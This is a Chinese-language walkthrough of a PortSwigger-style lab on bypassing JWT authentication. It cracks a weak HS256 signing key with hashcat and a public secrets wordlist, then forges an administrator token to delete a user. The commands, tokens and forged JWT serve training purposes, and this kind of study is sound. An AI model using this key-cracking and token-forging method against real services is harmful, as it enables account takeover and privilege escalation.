> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-with-a-weak-key.md).

# 使用弱密钥绕过 JWT 认证

### 通过弱签名密钥绕过 JWT 身份验证

**实验说明**

本实验使用基于 JWT 的会话机制。/ 用于 **签名和验证令牌的密钥强度极低**，从而使 **可轻松破解** ，方法是使用常见密钥列表。

目标：

* 找出服务器使用的密钥。\*使用该密钥伪造一个有效的 JWT，以访问 `/admin` 管理面板。
* 删除用户 **carlos**.

提供的凭据：/ `wiener:peter`

\*\* 已恢复的初始 JWT\*\*

{% code overflow="wrap" %}

```bash
eyJraWQiOiIzY2YwN2U1OC03N2RkLTQ5MjItYThiMi03MDJjZTdlNWI2ZTAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMzIxMywic3ViIjoid2llbmVyIn0.kjImRYXxwKADFnrNT6GRsF3eHmD5IDqvTwpLBuHaKv4
```

{% endcode %}

可以观察到使用的算法是 **HS256**，因此是 **对称算法** ，基于共享密钥。

**暴力破解密钥**

我们使用常见的 JWT 密钥列表：

```bash
wget https://raw.githubusercontent.com/wallarm/jwt-secrets/refs/heads/master/jwt.secrets.list
```

然后使用 **hashcat**:

```bash
hashcat -a 0 jwt jwt.secrets.list
```

<figure><img src="/files/e2cacbae1a6a1040208b9ea6faa8d4347d26ed09" alt=""><figcaption></figcaption></figure>

结果：

* 找到的密钥： **`secret1`**

<figure><img src="/files/d2a6aac4679cb4c23a61abe337b290270524db44" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/225554cc99c213cef25df008ca4702acf827f884" alt=""><figcaption></figcaption></figure>

**用于签名的密钥准备**

该 **JWT 编辑器** 扩展需要 Base64 格式的密钥。

密钥编码：

```bash
c2VjcmV0MQ==
```

<figure><img src="/files/9ab11be1bfb16b292dd07ce1277872f95387e7d8" alt=""><figcaption></figcaption></figure>

在 JWT Editor 中创建对称密钥：

```json
{
    "kty": "oct",
    "kid": "caa550f1-7d46-472b-a09f-8fa958937e48",
    "k": "c2VjcmV0MQ=="
}
```

<figure><img src="/files/fceecc6fb88cc1037275fa5fd603bae5b8ff17df" alt=""><figcaption></figcaption></figure>

密钥 ID（`kid`）随后生成并用于对令牌进行签名。

<figure><img src="/files/100e6149fbb28657a4681a15f05d9907e9068426" alt=""><figcaption></figcaption></figure>

**JWT 修改**

* 拦截包含 JWT 的请求。
* 修改 `sub` 字段：
* `wiener` → `administrator`

<figure><img src="/files/61455bb2e147cc072811c6e11bf0eaf87f8256ba" alt=""><figcaption></figcaption></figure>

使用找到的密钥重新签名令牌

<figure><img src="/files/cd4619370a71383bcc74e218ebf44e570a1d996c" alt=""><figcaption></figcaption></figure>

最终伪造的 JWT：

```bash
eyJraWQiOiI5MTVjNmE0Yy1iNzA3LTRmMmYtOTU3Ny05ODdhNWNhMzM1YjYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzNDY3MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.8VSJ5AinItZtayGFFfgsGidQuEIcxlzY6clVk1moITQ
```

**结果**

* 服务器接受使用弱密钥签名的 JWT。
* 成功访问 `/admin` 面板。
* 该用户被识别为 \*\*管理员\*\*。
* 移除该用户后，实验即通过验证 **carlos**.

<figure><img src="/files/5d29b8d73e14a89aba1b963e70e08e4915a56e6b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-with-a-weak-key.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
